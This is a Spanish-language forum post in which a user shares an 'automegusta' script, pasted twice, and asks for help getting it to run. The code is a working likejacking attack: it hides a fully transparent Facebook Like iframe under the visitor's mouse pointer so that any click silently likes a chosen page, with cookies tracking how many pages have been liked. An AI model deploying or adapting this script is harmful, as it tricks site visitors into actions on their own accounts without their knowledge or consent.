- Desde
- 29 Abr 2011
- Mensajes
- 418
Hola amigos buscando encontre un php que es automegusta pero no logro hacerlo funcionar cuando subo el codigo no sale completo aqui dejo el codigo y haber si alguien puede ayudar a solucionar!!
recuerda el archivo tienes que subirlo con tunombre.php
function setCookie(c_name,value,exdays) {
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies.substr(0,ARRcookies.indexOf("="));
y=ARRcookies.substr(ARRcookies.indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}
var total = "4";
var time = "365";
var accounts = getCookie("number");
var plus = parseInt(getCookie("number")) + parseInt(1);
switch (accounts) {
default:
var account = "https://www.facebook.com/aqui facebook";
break;
case "1":
var account = "https://www.facebook.com/aqui facebook";
break;
case "2":
var account = "";
break;
case "3":
var account = "";
break;
case total:
var ready = true;
break;
}
var interval;
var iflag;
var icontainer;
var standardbody;
if (ready == true) {
} else {
window.fbAsyncInit = function(){
FB.init({ appId:'428133353987274', status:true, cookie:true, xfbml:true});
FB.getLoginStatus(function(response){
if (response.status != "unknown")
{
jQuery(function () {
jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0; z-index:9999;" id="icontainer"><iframe src="http://www.facebook.com/plugins/like.php?href='+ account +'&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="werunthenite" name="werunthenite"></iframe></div>');
iflag = 0;
icontainer = document.getElementById('icontainer');
standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
interval = setInterval("updateActiveElement();", 50);
});
}
});
};
// Load the SDK Asynchronously
(function(d){
var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
js = d.createElement('script'); js.id = id; js.async = true;
js.src = "//connect.facebook.net/en_US/all.js";
d.getElementsByTagName('head')[0].appendChild(js);
}(document));
jQuery("html").bind('mousemove', function (e) {
if (iflag == 0) {
var x = e.pageX - 5;
var y = e.pageY;
//console.log("X: " + x + " AND Y: " + y);
jQuery(icontainer).css('top', y).css('left', x);
}
});
}
function updateActiveElement() {
if (jQuery(document.activeElement).attr('id') == "werunthenite") {
setTimeout('$("#icontainer").remove();', 500);
if (typeof accounts === 'undefined') {
setCookie("number","1",time);
} else {
setCookie("number",plus,time)
}
var flag = 0;
clearInterval(interval);
iflag = 1;
if (flag != 0) document.location = "";
}
}
recuerda el archivo tienes que subirlo con tunombre.php
function setCookie(c_name,value,exdays) {
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies.substr(0,ARRcookies.indexOf("="));
y=ARRcookies.substr(ARRcookies.indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}
var total = "4";
var time = "365";
var accounts = getCookie("number");
var plus = parseInt(getCookie("number")) + parseInt(1);
switch (accounts) {
default:
var account = "https://www.facebook.com/aqui facebook";
break;
case "1":
var account = "https://www.facebook.com/aqui facebook";
break;
case "2":
var account = "";
break;
case "3":
var account = "";
break;
case total:
var ready = true;
break;
}
var interval;
var iflag;
var icontainer;
var standardbody;
if (ready == true) {
} else {
window.fbAsyncInit = function(){
FB.init({ appId:'428133353987274', status:true, cookie:true, xfbml:true});
FB.getLoginStatus(function(response){
if (response.status != "unknown")
{
jQuery(function () {
jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0; z-index:9999;" id="icontainer"><iframe src="http://www.facebook.com/plugins/like.php?href='+ account +'&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="werunthenite" name="werunthenite"></iframe></div>');
iflag = 0;
icontainer = document.getElementById('icontainer');
standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
interval = setInterval("updateActiveElement();", 50);
});
}
});
};
// Load the SDK Asynchronously
(function(d){
var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
js = d.createElement('script'); js.id = id; js.async = true;
js.src = "//connect.facebook.net/en_US/all.js";
d.getElementsByTagName('head')[0].appendChild(js);
}(document));
jQuery("html").bind('mousemove', function (e) {
if (iflag == 0) {
var x = e.pageX - 5;
var y = e.pageY;
//console.log("X: " + x + " AND Y: " + y);
jQuery(icontainer).css('top', y).css('left', x);
}
});
}
function updateActiveElement() {
if (jQuery(document.activeElement).attr('id') == "werunthenite") {
setTimeout('$("#icontainer").remove();', 500);
if (typeof accounts === 'undefined') {
setCookie("number","1",time);
} else {
setCookie("number",plus,time)
}
var flag = 0;
clearInterval(interval);
iflag = 1;
if (flag != 0) document.location = "";
}
}